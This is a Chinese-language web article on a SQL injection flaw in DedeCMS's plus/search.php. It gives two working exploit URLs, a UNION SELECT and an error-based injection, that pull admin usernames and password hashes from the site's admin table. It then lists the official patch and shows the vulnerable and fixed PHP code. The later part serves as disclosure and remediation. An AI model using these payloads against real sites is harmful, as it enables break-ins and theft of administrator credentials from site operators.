织梦search.php,织梦DEDE plus/search.php注入漏洞修复及借助

织梦DEDE的最近出的一高危漏洞，search.php注入漏洞;估计目前大量黑阔都很爱织梦DEDE,由于常常有各种漏洞爆出.大量借助起来也都很容易.下面是漏洞的详细借助细则：0×1:http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a显示错误假如为：Safe Alert: Request Error step 2 !则借助以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a0×2:http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a显示错误假如为：Safe Alert: Request Error step 1 !则借助以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a漏洞修复：20130115常规安全更新include/arc.searchview.class.php, 搜索功能准确度优化member/myfriend_group.php, 修复会员中心会员分组功能存在的安全隐患plus/search.php, 修复搜索功能存在的安全隐患登录织梦CMS后台会有提示，更新即可。不过貌似官方没有提供安全更新补丁的下载地址，找了半天没找到~漏洞剖析：存在漏洞的文件/plus/search.php//引入栏目缓存并看关键词是不是有有关栏目内容require_once($typenameCacheFile);if(isset($typeArr) && is_array($typeArr)){foreach($typeArr as $id=>$typename){$keywordn = str_replace($typename, ‘ ‘, $keyword);if($keyword != $keywordn){$keyword = $keywordn;$typeid = $id; //对ID没做任何过滤 造成注入break;}}}}$keyword = addslashes(cn_substr($keyword,30));修复之后//引入栏目缓存并看关键词是不是有有关栏目内容require_once($typenameCacheFile);if(isset($typeArr) && is_array($typeArr)){foreach($typeArr as $id=>$typename){//$keywordn = str_replace($typename, ‘ ‘, $keyword);$keywordn = $keyword;if($keyword != $keywordn){$keyword = HtmlReplace($keywordn);//防XSS$typeid = intval($id); //强制转换为数字型break;}}}}$keyword = addslashes(cn_substr($keyword,30));(责任编辑：酱油妹)